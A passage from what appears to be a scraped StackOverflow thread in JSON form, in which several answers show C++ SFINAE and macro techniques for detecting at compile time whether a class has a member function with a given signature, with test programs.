for compiletime introspection of <code>T::mf</code> must avoid the\nuse of <code>&amp;T::mf</code> within a template argument to instantiate a type upon which SFINAE\nfunction template resolution depends. Instead, SFINAE template function\nresolution can depend only upon exactly pertinent type declarations used\nas argument types of the overloaded SFINAE probe function.</p>\n\n<p>By way of an answer to the question that abides by this constraint I'll\nillustrate for compiletime detection of <code>E T::operator*() const</code>, for\narbitrary <code>T</code> and <code>E</code>. The same pattern will apply <em>mutatis mutandis</em>\nto probe for any other member method signature.</p>\n\n<pre><code>#include &lt;type_traits&gt;\n\n/*! The template `has_const_reference_op&lt;T,E&gt;` exports a\n boolean constant `value that is true iff `T` provides\n `E T::operator*() const`\n*/ \ntemplate&lt; typename T, typename E&gt;\nstruct has_const_reference_op\n{\n /* SFINAE operator-has-correct-sig :) */\n template&lt;typename A&gt;\n static std::true_type test(E (A::*)() const) {\n return std::true_type();\n }\n\n /* SFINAE operator-exists :) */\n template &lt;typename A&gt; \n static decltype(test(&amp;A::operator*)) \n test(decltype(&amp;A::operator*),void *) {\n /* Operator exists. What about sig? */\n typedef decltype(test(&amp;A::operator*)) return_type; \n return return_type();\n }\n\n /* SFINAE game over :( */\n template&lt;typename A&gt;\n static std::false_type test(...) {\n return std::false_type(); \n }\n\n /* This will be either `std::true_type` or `std::false_type` */\n typedef decltype(test&lt;T&gt;(0,0)) type;\n\n static const bool value = type::value; /* Which is it? */\n};\n</code></pre>\n\n<p>In this solution, the overloaded SFINAE probe function <code>test()</code> is \"invoked\nrecursively\". (Of course it isn't actually invoked at all; it merely has\nthe return types of hypothetical invocations resolved by the compiler.)</p>\n\n<p>We need to probe for at least one and at most two points of information:</p>\n\n<ul>\n<li>Does <code>T::operator*()</code> exist at all? If not, we're done.</li>\n<li>Given that <code>T::operator*()</code> exists, is its signature \n<code>E T::operator*() const</code>?</li>\n</ul>\n\n<p>We get the answers by evaluating the return type of a single call\nto <code>test(0,0)</code>. That's done by:</p>\n\n<pre><code> typedef decltype(test&lt;T&gt;(0,0)) type;\n</code></pre>\n\n<p>This call might be resolved to the <code>/* SFINAE operator-exists :) */</code> overload\nof <code>test()</code>, or it might resolve to the <code>/* SFINAE game over :( */</code> overload.\nIt can't resolve to the <code>/* SFINAE operator-has-correct-sig :) */</code> overload,\nbecause that one expects just one argument and we are passing two.</p>\n\n<p>Why are we passing two? Simply to force the resolution to exclude \n<code>/* SFINAE operator-has-correct-sig :) */</code>. The second argument has no other signifance.</p>\n\n<p>This call to <code>test(0,0)</code> will resolve to <code>/* SFINAE operator-exists :) */</code> just\nin case the first argument 0 satifies the first parameter type of that overload,\nwhich is <code>decltype(&amp;A::operator*)</code>, with <code>A = T</code>. 0 will satisfy that type\njust in case <code>T::operator*</code> exists.</p>\n\n<p>Let's suppose the compiler say's Yes to that. Then it's going with\n<code>/* SFINAE operator-exists :) */</code> and it needs to determine the return type of\nthe function call, which in that case is <code>decltype(test(&amp;A::operator*))</code> -\nthe return type of yet another call to <code>test()</code>.</p>\n\n<p>This time, we're passing just one argument, <code>&amp;A::operator*</code>, which we now\nknow exists, or we wouldn't be here. A call to <code>test(&amp;A::operator*)</code> might\nresolve either to <code>/* SFINAE operator-has-correct-sig :) */</code> or again to\nmight resolve to <code>/* SFINAE game over :( */</code>. The call will match \n<code>/* SFINAE operator-has-correct-sig :) */</code> just in case <code>&amp;A::operator*</code> satisfies\nthe single parameter type of that overload, which is <code>E (A::*)() const</code>,\nwith <code>A = T</code>.</p>\n\n<p>The compiler will say Yes here if <code>T::operator*</code> has that desired signature,\nand then again has to evaluate the return type of the overload. No more\n\"recursions\" now: it is <code>std::true_type</code>.</p>\n\n<p>If the compiler does not choose <code>/* SFINAE operator-exists :) */</code> for the\ncall <code>test(0,0)</code> or does not choose <code>/* SFINAE operator-has-correct-sig :) */</code>\nfor the call <code>test(&amp;A::operator*)</code>, then in either case it goes with\n<code>/* SFINAE game over :( */</code> and the final return type is <code>std::false_type</code>.</p>\n\n<p>Here is a test program that shows the template producing the expected\nanswers in varied sample of cases (GCC 4.6.3 again).</p>\n\n<pre><code>// To test\nstruct empty{};\n\n// To test \nstruct int_ref\n{\n int &amp; operator*() const {\n return *_pint;\n }\n int &amp; foo() const {\n return *_pint;\n }\n int * _pint;\n};\n\n// To test \nstruct sub_int_ref : int_ref{};\n\n// To test \ntemplate&lt;typename E&gt;\nstruct ee_ref\n{\n E &amp; operator*() {\n return *_pe;\n }\n E &amp; foo() const {\n return *_pe;\n }\n E * _pe;\n};\n\n// To test \nstruct sub_ee_ref : ee_ref&lt;char&gt;{};\n\nusing namespace std;\n\n#include &lt;iostream&gt;\n#include &lt;memory&gt;\n#include &lt;vector&gt;\n\nint main(void)\n{\n cout &lt;&lt; \"Expect Yes\" &lt;&lt; endl;\n cout &lt;&lt; has_const_reference_op&lt;auto_ptr&lt;int&gt;,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;unique_ptr&lt;int&gt;,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;shared_ptr&lt;int&gt;,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;std::vector&lt;int&gt;::iterator,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;std::vector&lt;int&gt;::const_iterator,\n int const &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;int_ref,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;sub_int_ref,int &amp;&gt;::value &lt;&lt; endl;\n cout &lt;&lt; \"Expect No\" &lt;&lt; endl;\n cout &lt;&lt; has_const_reference_op&lt;int *,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;unique_ptr&lt;int&gt;,char &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;unique_ptr&lt;int&gt;,int const &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;unique_ptr&lt;int&gt;,int&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;unique_ptr&lt;long&gt;,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;int,int&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;std::vector&lt;int&gt;,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;ee_ref&lt;int&gt;,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;sub_ee_ref,int &amp;&gt;::value;\n cout &lt;&lt; has_const_reference_op&lt;empty,int &amp;&gt;::value &lt;&lt; endl;\n return 0;\n}\n</code></pre>\n\n<p>Are there new flaws in this idea? Can it be made more generic without once again\nfalling foul of the snag it avoids?</p>\n" }, { "answer_id": 13266235, "author": "Yochai Timmer", "author_id": 536086, "author_profile": "https://Stackoverflow.com/users/536086", "pm_score": 3, "selected": false, "text": "<p>You can use <strong><a href=\"http://en.cppreference.com/w/cpp/types/is_member_function_pointer\" rel=\"noreferrer\">std::is_member_function_pointer</a></strong></p>\n\n<pre><code>class A {\n public:\n void foo() {};\n}\n\n bool test = std::is_member_function_pointer&lt;decltype(&amp;A::foo)&gt;::value;\n</code></pre>\n" }, { "answer_id": 15685535, "author": "S. Paris", "author_id": 2200040, "author_profile": "https://Stackoverflow.com/users/2200040", "pm_score": 3, "selected": false, "text": "<p>Came with the same kind of problem myself, and found the proposed solutions in here very interesting... but had the requirement for a solution that:</p>\n\n<ol>\n<li>Detects inherited functions as well;</li>\n<li>Is compatible with non C++11 ready compilers (so no decltype)</li>\n</ol>\n\n<p>Found another <a href=\"https://stackoverflow.com/a/1967183/2200040\">thread</a> proposing something like this, based on a <a href=\"http://lists.boost.org/boost-users/2009/01/44538.php\" rel=\"nofollow noreferrer\">BOOST discussion</a>.\nHere is the generalisation of the proposed solution as two macros declaration for traits class, following the model of <a href=\"http://www.boost.org/doc/libs/1_53_0/libs/type_traits/doc/html/index.html\" rel=\"nofollow noreferrer\">boost::has_*</a> classes.</p>\n\n<pre><code>#include &lt;boost/type_traits/is_class.hpp&gt;\n#include &lt;boost/mpl/vector.hpp&gt;\n\n/// Has constant function\n/** \\param func_ret_type Function return type\n \\param func_name Function name\n \\param ... Variadic arguments are for the function parameters\n*/\n#define DECLARE_TRAITS_HAS_FUNC_C(func_ret_type, func_name, ...) \\\n __DECLARE_TRAITS_HAS_FUNC(1, func_ret_type, func_name, ##__VA_ARGS__)\n\n/// Has non-const function\n/** \\param func_ret_type Function return type\n \\param func_name Function name\n \\param ... Variadic arguments are for the function parameters\n*/\n#define DECLARE_TRAITS_HAS_FUNC(func_ret_type, func_name, ...) \\\n __DECLARE_TRAITS_HAS_FUNC(0, func_ret_type, func_name, ##__VA_ARGS__)\n\n// Traits content\n#define __DECLARE_TRAITS_HAS_FUNC(func_const, func_ret_type, func_name, ...) \\\n template \\\n &lt; typename Type, \\\n bool is_class = boost::is_class&lt;Type&gt;::value \\\n &gt; \\\n class has_func_ ## func_name; \\\n template&lt;typename Type&gt; \\\n class has_func_ ## func_name&lt;Type,false&gt; \\\n {public: \\\n BOOST_STATIC_CONSTANT( bool, value = false ); \\\n typedef boost::false_type type; \\\n }; \\\n template&lt;typename Type&gt; \\\n class has_func_ ## func_name&lt;Type,true&gt; \\\n { struct yes { char _foo; }; \\\n struct no { yes _foo[2]; }; \\\n struct Fallback \\\n { func_ret_type func_name( __VA_ARGS__ ) \\\n UTILITY_OPTIONAL(func_const,const) {} \\\n }; \\\n struct Derived : public Type, public Fallback {}; \\\n template &lt;typename T, T t&gt; class Helper{}; \\\n template &lt;typename U&gt; \\\n static no deduce(U*, Helper \\\n &lt; func_ret_type (Fallback::*)( __VA_ARGS__ ) \\\n UTILITY_OPTIONAL(func_const,const), \\\n &amp;U::func_name \\\n &gt;* = 0 \\\n ); \\\n static yes deduce(...); \\\n public: \\\n BOOST_STATIC_CONSTANT( \\\n bool, \\\n value = sizeof(yes) \\\n == sizeof( deduce( static_cast&lt;Derived*&gt;(0) ) ) \\\n ); \\\n typedef ::boost::integral_constant&lt;bool,value&gt; type; \\\n BOOST_STATIC_CONSTANT(bool, is_const = func_const); \\\n typedef func_ret_type return_type; \\\n typedef ::boost::mpl::vector&lt; __VA_ARGS__ &gt; args_type; \\\n }\n\n// Utility functions\n#define UTILITY_OPTIONAL(condition, ...) UTILITY_INDIRECT_CALL( __UTILITY_OPTIONAL_ ## condition , ##__VA_ARGS__ )\n#define UTILITY_INDIRECT_CALL(macro, ...) macro ( __VA_ARGS__ )\n#define __UTILITY_OPTIONAL_0(...)\n#define __UTILITY_OPTIONAL_1(...) __VA_ARGS__\n</code></pre>\n\n<p>These macros expand to a traits class with the following prototype:</p>\n\n<pre><code>template&lt;class T&gt;\nclass has_func_[func_name]\n{\npublic:\n /// Function definition result value\n /** Tells if the tested function is defined for type T or not.\n */\n static const bool value = true | false;\n\n /// Function definition result type\n /** Type representing the value attribute usable in\n http://www.boost.org/doc/libs/1_53_0/libs/utility/enable_if.html\n */\n typedef boost::integral_constant&lt;bool,value&gt; type;\n\n /// Tested function constness indicator\n /** Indicates if the tested function is const or not.\n This value is not deduced, it is forced depending\n on the user call to one of the traits generators.\n */\n static const bool is_const = true | false;\n\n /// Tested function return type\n /** Indicates the return type of the tested function.\n This value is not deduced, it is forced depending\n on the user's arguments to the traits generators.\n */\n typedef func_ret_type return_type;\n\n /// Tested function arguments types\n /** Indicates the arguments types of the tested function.\n This value is not deduced, it is forced depending\n on the user's arguments to the traits generators.\n */\n typedef ::boost::mpl::vector&lt; __VA_ARGS__ &gt; args_type;\n};\n</code></pre>\n\n<p>So what is the typical usage one can do out of this?</p>\n\n<pre><code>// We enclose the traits class into\n// a namespace to avoid collisions\nnamespace ns_0 {\n // Next line will declare the traits class\n // to detect the member function void foo(int,int) const\n DECLARE_TRAITS_HAS_FUNC_C(void, foo, int, int);\n}\n\n// we can use BOOST to help in using the traits\n#include &lt;boost/utility/enable_if.hpp&gt;\n\n// Here is a function that is active for types\n// declaring the good member function\ntemplate&lt;typename T&gt; inline\ntypename boost::enable_if&lt; ns_0::has_func_foo&lt;T&gt; &gt;::type\nfoo_bar(const T &amp;_this_, int a=0, int b=1)\n{ _this_.foo(a,b);\n}\n\n// Here is a function that is active for types\n// NOT declaring the good member function\ntemplate&lt;typename T&gt; inline\ntypename boost::disable_if&lt; ns_0::has_func_foo&lt;T&gt; &gt;::type\nfoo_bar(const T &amp;_this_, int a=0, int b=1)\n{ default_foo(_this_,a,b);\n}\n\n// Let us declare test types\nstruct empty\n{\n};\nstruct direct_foo\n{\n void foo(int,int);\n};\nstruct direct_const_foo\n{\n void foo(int,int) const;\n};\nstruct inherited_const_foo :\n public direct_const_foo\n{\n};\n\n// Now anywhere in your code you can seamlessly use\n// the foo_bar function on any object:\nvoid test()\n{\n int a;\n foo_bar(a); // calls default_foo\n\n empty b;\n foo_bar(b); // calls default_foo\n\n direct_foo c;\n foo_bar(c); // calls default_foo (member function is not const)\n\n direct_const_foo d;\n foo_bar(d); // calls d.foo (member function is const)\n\n inherited_const_foo e;\n foo_bar(e); // calls e.foo (inherited member function)\n}\n</code></pre>\n" }, { "answer_id": 16824239, "author": "jrok", "author_id": 947836, "author_profile": "https://Stackoverflow.com/users/947836", "pm_score": 7, "selected": false, "text": "<p>Here's a possible implementation relying on C++11 features. It correctly detects the function even if it's inherited (unlike the solution in the accepted answer, as Mike Kinghan observes in <a href=\"https://stackoverflow.com/a/10707822/947836\">his answer</a>).</p>\n\n<p>The function this snippet tests for is called <code>serialize</code>:</p>\n\n<pre><code>#include &lt;type_traits&gt;\n\n// Primary template with a static assertion\n// for a meaningful error message\n// if it ever gets instantiated.\n// We could leave it undefined if we didn't care.\n\ntemplate&lt;typename, typename T&gt;\nstruct has_serialize {\n static_assert(\n std::integral_constant&lt;T, false&gt;::value,\n \"Second template parameter needs to be of function type.\");\n};\n\n// specialization that does the checking\n\ntemplate&lt;typename C, typename Ret, typename... Args&gt;\nstruct has_serialize&lt;C, Ret(Args...)&gt; {\nprivate:\n template&lt;typename T&gt;\n static constexpr auto check(T*)\n -&gt; typename\n std::is_same&lt;\n decltype( std::declval&lt;T&gt;().serialize( std::declval&lt;Args&gt;()... ) ),\n Ret // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n &gt;::type; // attempt to call it and see if the return type is correct\n\n template&lt;typename&gt;\n static constexpr std::false_type check(...);\n\n typedef decltype(check&lt;C&gt;(0)) type;\n\npublic:\n static constexpr bool value = type::value;\n};\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code>struct X {\n int serialize(const std::string&amp;) { return 42; } \n};\n\nstruct Y : X {};\n\nstd::cout &lt;&lt; has_serialize&lt;Y, int(const std::string&amp;)&gt;::value; // will print 1\n</code></pre>\n" }, { "answer_id": 16867422, "author": "Brett Rossier", "author_id": 376331, "author_profile": "https://Stackoverflow.com/users/376331", "pm_score": 4, "selected": false, "text": "<p>Here are some usage snippets:\n*The guts for all this are farther down</p>\n\n<p><strong>Check for member <code>x</code> in a given class. Could be var, func, class, union, or enum:</strong></p>\n\n<pre><code>CREATE_MEMBER_CHECK(x);\nbool has_x = has_member_x&lt;class_to_check_for_x&gt;::value;\n</code></pre>\n\n<p><strong>Check for member function <code>void x()</code>:</strong></p>\n\n<pre><code>//Func signature MUST have T as template variable here... simpler this way :\\\nCREATE_MEMBER_FUNC_SIG_CHECK(x, void (T::*)(), void__x);\nbool has_func_sig_void__x = has_member_func_void__x&lt;class_to_check_for_x&gt;::value;\n</code></pre>\n\n<p><strong>Check for member variable <code>x</code>:</strong></p>\n\n<pre><code>CREATE_MEMBER_VAR_CHECK(x);\nbool has_var_x = has_member_var_x&lt;class_to_check_for_x&gt;::value;\n</code></pre>\n\n<p><strong>Check for member class <code>x</code>:</strong></p>\n\n<pre><code>CREATE_MEMBER_CLASS_CHECK(x);\nbool has_class_x = has_member_class_x&lt;class_to_check_for_x&gt;::value;\n</code></pre>\n\n<p><strong>Check for member union <code>x</code>:</strong></p>\n\n<pre><code>CREATE_MEMBER_UNION_CHECK(x);\nbool has_union_x = has_member_union_x&lt;class_to_check_for_x&gt;::value;\n</code></pre>\n\n<p><strong>Check for member enum <code>x</code>:</strong></p>\n\n<pre><code>CREATE_MEMBER_ENUM_CHECK(x);\nbool has_enum_x = has_member_enum_x&lt;class_to_check_for_x&gt;::value;\n</code></pre>\n\n<p><strong>Check for any member function <code>x</code> regardless of signature:</strong></p>\n\n<pre><code>CREATE_MEMBER_CHECK(x);\nCREATE_MEMBER_VAR_CHECK(x);\nCREATE_MEMBER_CLASS_CHECK(x);\nCREATE_MEMBER_UNION_CHECK(x);\nCREATE_MEMBER_ENUM_CHECK(x);\nCREATE_MEMBER_FUNC_CHECK(x);\nbool has_any_func_x = has_member_func_x&lt;class_to_check_for_x&gt;::value;\n</code></pre>\n\n<p>OR</p>\n\n<pre><code>CREATE_MEMBER_CHECKS(x); //Just stamps out the same macro calls as above.\nbool has_any_func_x = has_member_func_x&lt;class_to_check_for_x&gt;::value;\n</code></pre>\n\n<p><strong>Details and core:</strong></p>\n\n<pre><code>/*\n - Multiple inheritance forces ambiguity of member names.\n - SFINAE is used to make aliases to member names.\n - Expression SFINAE is used in just one generic has_member that can accept\n any alias we pass it.\n*/\n\n//Variadic to force ambiguity of class members. C++11 and up.\ntemplate &lt;typename... Args&gt; struct ambiguate : public Args... {};\n\n//Non-variadic version of the line above.\n//template &lt;typename A, typename B&gt; struct ambiguate : public A, public B {};\n\ntemplate&lt;typename A, typename = void&gt;\nstruct got_type : std::false_type {};\n\ntemplate&lt;typename A&gt;\nstruct got_type&lt;A&gt; : std::true_type {\n typedef A type;\n};\n\ntemplate&lt;typename T, T&gt;\nstruct sig_check : std::true_type {};\n\ntemplate&lt;typename Alias, typename AmbiguitySeed&gt;\nstruct has_member {\n template&lt;typename C&gt; static char ((&amp;f(decltype(&amp;C::value))))[1];\n template&lt;typename C&gt; static char ((&amp;f(...)))[2];\n\n //Make sure the member name is consistently spelled the same.\n static_assert(\n (sizeof(f&lt;AmbiguitySeed&gt;(0)) == 1)\n , \"Member name specified in AmbiguitySeed is different from member name specified in Alias, or wrong Alias/AmbiguitySeed has been specified.\"\n );\n\n static bool const value = sizeof(f&lt;Alias&gt;(0)) == 2;\n};\n</code></pre>\n\n<p><em><strong>Macros (El Diablo!):</em></strong></p>\n\n<p><strong>CREATE_MEMBER_CHECK:</strong></p>\n\n<pre><code>//Check for any member with given name, whether var, func, class, union, enum.\n#define CREATE_MEMBER_CHECK(member) \\\n \\\ntemplate&lt;typename T, typename = std::true_type&gt; \\\nstruct Alias_##member; \\\n \\\ntemplate&lt;typename T&gt; \\\nstruct Alias_##member &lt; \\\n T, std::integral_constant&lt;bool, got_type&lt;decltype(&amp;T::member)&gt;::value&gt; \\\n&gt; { static const decltype(&amp;T::member) value; }; \\\n \\\nstruct AmbiguitySeed_##member { char member; }; \\\n \\\ntemplate&lt;typename T&gt; \\\nstruct has_member_##member { \\\n static const bool value \\\n = has_member&lt; \\\n Alias_##member&lt;ambiguate&lt;T, AmbiguitySeed_##member&gt;&gt; \\\n , Alias_##member&lt;AmbiguitySeed_##member&gt; \\\n &gt;::value \\\n ; \\\n}\n</code></pre>\n\n<p><strong>CREATE_MEMBER_VAR_CHECK:</strong></p>\n\n<pre><code>//Check for member variable with given name.\n#define CREATE_MEMBER_VAR_CHECK(var_name) \\\n \\\ntemplate&lt;typename T, typename = std::true_type&gt; \\\nstruct has_member_var_##var_name : std::false_type {}; \\\n \\\ntemplate&lt;typename T&gt; \\\nstruct has_member_var_##var_name&lt; \\\n T \\\n , std::integral_constant&lt; \\\n bool \\\n , !std::is_member_function_pointer&lt;decltype(&amp;T::var_name)&gt;::value \\\n &gt; \\\n&gt; : std::true_type {}\n</code></pre>\n\n<p><strong>CREATE_MEMBER_FUNC_SIG_CHECK:</strong></p>\n\n<pre><code>//Check for member function with given name AND signature.\n#define CREATE_MEMBER_FUNC_SIG_CHECK(func_name, func_sig, templ_postfix) \\\n \\\ntemplate&lt;typename T, typename = std::true_type&gt; \\\nstruct has_member_func_##templ_postfix : std::false_type {}; \\\n \\\ntemplate&lt;typename T&gt; \\\nstruct has_member_func_##templ_postfix&lt; \\\n T, std::integral_constant&lt; \\\n bool \\\n , sig_check&lt;func_sig, &amp;T::func_name&gt;::value \\\n &gt; \\\n&gt; : std::true_type {}\n</code></pre>\n\n<p><strong>CREATE_MEMBER_CLASS_CHECK:</strong></p>\n\n<pre><code>//Check for member class with given name.\n#define CREATE_MEMBER_CLASS_CHECK(class_name) \\\n \\\ntemplate&lt;typename T, typename = std::true_type&gt; \\\nstruct has_member_class_##class_name : std::false_type {}; \\\n \\\ntemplate&lt;typename T&gt; \\\nstruct has_member_class_##class_name&lt; \\\n T \\\n , std::integral_constant&lt; \\\n bool \\\n , std::is_class&lt; \\\n typename got_type&lt;typename T::class_name&gt;::type \\\n &gt;::value \\\n &gt; \\\n&gt; : std::true_type {}\n</code></pre>\n\n<p><strong>CREATE_MEMBER_UNION_CHECK:</strong></p>\n\n<pre><code>//Check for member union with given name.\n#define CREATE_MEMBER_UNION_CHECK(union_name) \\\n \\\ntemplate&lt;typename T, typename = std::true_type&gt; \\\nstruct has_member_union_##union_name : std::false_type {}; \\\n \\\ntemplate&lt;typename T&gt; \\\nstruct has_member_union_##union_name&lt; \\\n T \\\n , std::integral_constant&lt; \\\n bool \\\n , std::is_union&lt; \\\n typename got_type&lt;typename T::union_name&gt;::type \\\n &gt;::value \\\n &gt; \\\n&gt; : std::true_type {}\n</code></pre>\n\n<p><strong>CREATE_MEMBER_ENUM_CHECK:</strong></p>\n\n<pre><code>//Check for member enum with given name.\n#define CREATE_MEMBER_ENUM_CHECK(enum_name) \\\n \\\ntemplate&lt;typename T, typename = std::true_type&gt; \\\nstruct has_member_enum_##enum_name : std::false_type {}; \\\n \\\ntemplate&lt;typename T&gt; \\\nstruct has_member_enum_##enum_name&lt; \\\n T \\\n , std::integral_constant&lt; \\\n bool \\\n , std::is_enum&lt; \\\n typename got_type&lt;typename T::enum_name&gt;::type \\\n &gt;::value \\\n &gt; \\\n&gt; : std::true_type {}\n</code></pre>\n\n<p><strong>CREATE_MEMBER_FUNC_CHECK:</strong></p>\n\n<pre><code>//Check for function with given name, any signature.\n#define CREATE_MEMBER_FUNC_CHECK(func) \\\ntemplate&lt;typename T&gt; \\\nstruct has_member_func_##func { \\\n static const bool value \\\n = has_member_##func&lt;T&gt;::value \\\n &amp;&amp; !has_member_var_##func&lt;T&gt;::value \\\n &amp;&amp; !has_member_class_##func&lt;T&gt;::value \\\n &amp;&amp; !has_member_union_##func&lt;T&gt;::value \\\n &amp;&amp; !has_member_enum_##func&lt;T&gt;::value \\\n ; \\\n}\n</code></pre>\n\n<p><strong>CREATE_MEMBER_CHECKS:</strong></p>\n\n<pre><code>//Create all the checks for one member. Does NOT include func sig checks.\n#define CREATE_MEMBER_CHECKS(member) \\\nCREATE_MEMBER_CHECK(member); \\\nCREATE_MEMBER_VAR_CHECK(member); \\\nCREATE_MEMBER_CLASS_CHECK(member); \\\nCREATE_MEMBER_UNION_CHECK(member); \\\nCREATE_MEMBER_ENUM_CHECK(member); \\\nCREATE_MEMBER_FUNC_CHECK(member)\n</code></pre>\n" }, { "answer_id": 31539364, "author": "Valentin Milea", "author_id": 211387, "author_profile": "https://Stackoverflow.com/users/211387", "pm_score": 3, "selected": false, "text": "<p>Here is a simpler take on Mike Kinghan's answer. This will detect inherited methods. It will also check for the <em>exact</em> signature (unlike jrok's approach which allows argument conversions).</p>\n\n<pre><code>template &lt;class C&gt;\nclass HasGreetMethod\n{\n template &lt;class T&gt;\n static std::true_type testSignature(void (T::*)(const char*) const);\n\n template &lt;class T&gt;\n static decltype(testSignature(&amp;T::greet)) test(std::nullptr_t);\n\n template &lt;class T&gt;\n static std::false_type test(...);\n\npublic:\n using type = decltype(test&lt;C&gt;(nullptr));\n static const bool value = type::value;\n};\n\nstruct A { void greet(const char* name) const; };\nstruct Derived : A { };\nstatic_assert(HasGreetMethod&lt;Derived&gt;::value, \"\");\n</code></pre>\n\n<p>Runnable <a href=\"http://ideone.com/LjtMSi\" rel=\"noreferrer\">example</a></p>\n" }, { "answer_id": 37117023, "author": "Jonathan Mee", "author_id": 2642059, "author_profile": "https://Stackoverflow.com/users/2642059", "pm_score": 3, "selected": false, "text": "<p>To accomplish this we'll need to use:</p>\n\n<ol>\n<li><a href=\"http://en.cppreference.com/w/cpp/language/function_template#Function_template_overloading\" rel=\"nofollow noreferrer\">Function template overloading</a> with differing return types according to whether the method is available</li>\n<li>In keeping with the meta-conditionals in the <a href=\"http://en.cppreference.com/w/cpp/header/type_traits\" rel=\"nofollow noreferrer\"><code>type_traits</code></a> header, we'll want to return a <a href=\"http://en.cppreference.com/w/cpp/types/integral_constant\" rel=\"nofollow noreferrer\"><code>true_type</code> or <code>false_type</code></a> from our overloads</li>\n<li>Declare the <code>true_type</code> overload expecting an <code>int</code> and the <code>false_type</code> overload expecting Variadic Parameters to exploit: <a href=\"http://en.cppreference.com/w/cpp/language/variadic_arguments#Notes\" rel=\"nofollow noreferrer\">\"The lowest priority of the ellipsis conversion in overload resolution\"</a></li>\n<li>In defining the template specification for the <code>true_type</code> function we will use <a href=\"http://en.cppreference.com/w/cpp/utility/declval\" rel=\"nofollow noreferrer\"><code>declval</code></a> and <a href=\"http://en.cppreference.com/w/cpp/language/decltype\" rel=\"nofollow noreferrer\"><code>decltype</code></a> allowing us to detect the function independent of return type differences or overloads between methods</li>\n</ol>\n\n<p><strong>You can see a live example of this <a href=\"http://ideone.com/mi5JKQ\" rel=\"nofollow noreferrer\">here</a>.</strong> But I'll also explain it below:</p>\n\n<p>I want to check for the existence of a function named <code>test</code> which takes a type convertible from <code>int</code>, then I'd need to declare these two functions:</p>\n\n<pre><code>template &lt;typename T, typename S = decltype(declval&lt;T&gt;().test(declval&lt;int&gt;))&gt; static true_type hasTest(int);\ntemplate &lt;typename T&gt; static false_type hasTest(...);\n</code></pre>\n\n<ul>\n<li><code>decltype(hasTest&lt;a&gt;(0))::value</code> is <code>true</code> (Note there is no need to create special functionality to deal with the <code>void a::test()</code> overload, the <code>void a::test(int)</code> is accepted)</li>\n<li><code>decltype(hasTest&lt;b&gt;(0))::value</code> is <code>true</code> (Because <code>int</code> is convertable to <code>double</code> <code>int b::test(double)</code> is accepted, independent of return type)</li>\n<li><code>decltype(hasTest&lt;c&gt;(0))::value</code> is <code>false</code> (<code>c</code> does not have a method named <code>test</code> that accepts a type convertible from <code>int</code> therefor this is not accepted)</li>\n</ul>\n\n<p>This solution has 2 drawbacks:</p>\n\n<ol>\n<li>Requires a per method declaration of a pair of functions</li>\n<li>Creates namespace pollution particularly if we want to test for similar names, for example what would we name a function that wanted to test for a <code>test()</code> method?</li>\n</ol>\n\n<p>So it's important that these functions be declared in a details namespace, or ideally if they are only to be used with a class, they should be declared privately by that class. To that end I've written a macro to help you abstract this information:</p>\n\n<pre><code>#define FOO(FUNCTION, DEFINE) template &lt;typename T, typename S = decltype(declval&lt;T&gt;().FUNCTION)&gt; static true_type __ ## DEFINE(int); \\\n template &lt;typename T&gt; static false_type __ ## DEFINE(...); \\\n template &lt;typename T&gt; using DEFINE = decltype(__ ## DEFINE&lt;T&gt;(0));\n</code></pre>\n\n<p>You could use this like:</p>\n\n<pre><code>namespace details {\n FOO(test(declval&lt;int&gt;()), test_int)\n FOO(test(), test_void)\n}\n</code></pre>\n\n<p>Subsequently calling <code>details::test_int&lt;a&gt;::value</code> or <code>details::test_void&lt;a&gt;::value</code> would yield <code>true</code> or <code>false</code> for the purposes of inline code or meta-programming.</p>\n" }, { "answer_id": 44999060, "author": "Kamajii", "author_id": 4355012, "author_profile": "https://Stackoverflow.com/users/4355012", "pm_score": 1, "selected": false, "text": "<p>Without C++11 support (<code>decltype</code>) this might work:</p>\n\n<h1>SSCCE</h1>\n\n<pre><code>#include &lt;iostream&gt;\nusing namespace std;\n\nstruct A { void foo(void); };\nstruct Aa: public A { };\nstruct B { };\n\nstruct retA { int foo(void); };\nstruct argA { void foo(double); };\nstruct constA { void foo(void) const; };\nstruct varA { int foo; };\n\ntemplate&lt;typename T&gt;\nstruct FooFinder {\n typedef char true_type[1];\n typedef char false_type[2];\n\n template&lt;int&gt;\n struct TypeSink;\n\n template&lt;class U&gt;\n static true_type &amp;match(U);\n\n template&lt;class U&gt;\n static true_type &amp;test(TypeSink&lt;sizeof( matchType&lt;void (U::*)(void)&gt;( &amp;U::foo ) )&gt; *);\n\n template&lt;class U&gt;\n static false_type &amp;test(...);\n\n enum { value = (sizeof(test&lt;T&gt;(0, 0)) == sizeof(true_type)) };\n};\n\nint main() {\n cout &lt;&lt; FooFinder&lt;A&gt;::value &lt;&lt; endl;\n cout &lt;&lt; FooFinder&lt;Aa&gt;::value &lt;&lt; endl;\n cout &lt;&lt; FooFinder&lt;B&gt;::value &lt;&lt; endl;\n\n cout &lt;&lt; FooFinder&lt;retA&gt;::value &lt;&lt; endl;\n cout &lt;&lt; FooFinder&lt;argA&gt;::value &lt;&lt; endl;\n cout &lt;&lt; FooFinder&lt;constA&gt;::value &lt;&lt; endl;\n cout &lt;&lt; FooFinder&lt;varA&gt;::value &lt;&lt; endl;\n}\n</code></pre>\n\n<h1>How it hopefully works</h1>\n\n<p><code>A</code>, <code>Aa</code> and <code>B</code> are the clases in question, <code>Aa</code> being the special one that inherits the member we're looking for.</p>\n\n<p>In the <code>FooFinder</code> the <code>true_type</code> and <code>false_type</code> are the replacements for the correspondent C++11 classes. Also for the understanding of template meta programming, they reveal the very basis of the SFINAE-sizeof-trick.</p>\n\n<p>The <code>TypeSink</code> is a template struct that is used later to sink the integral result 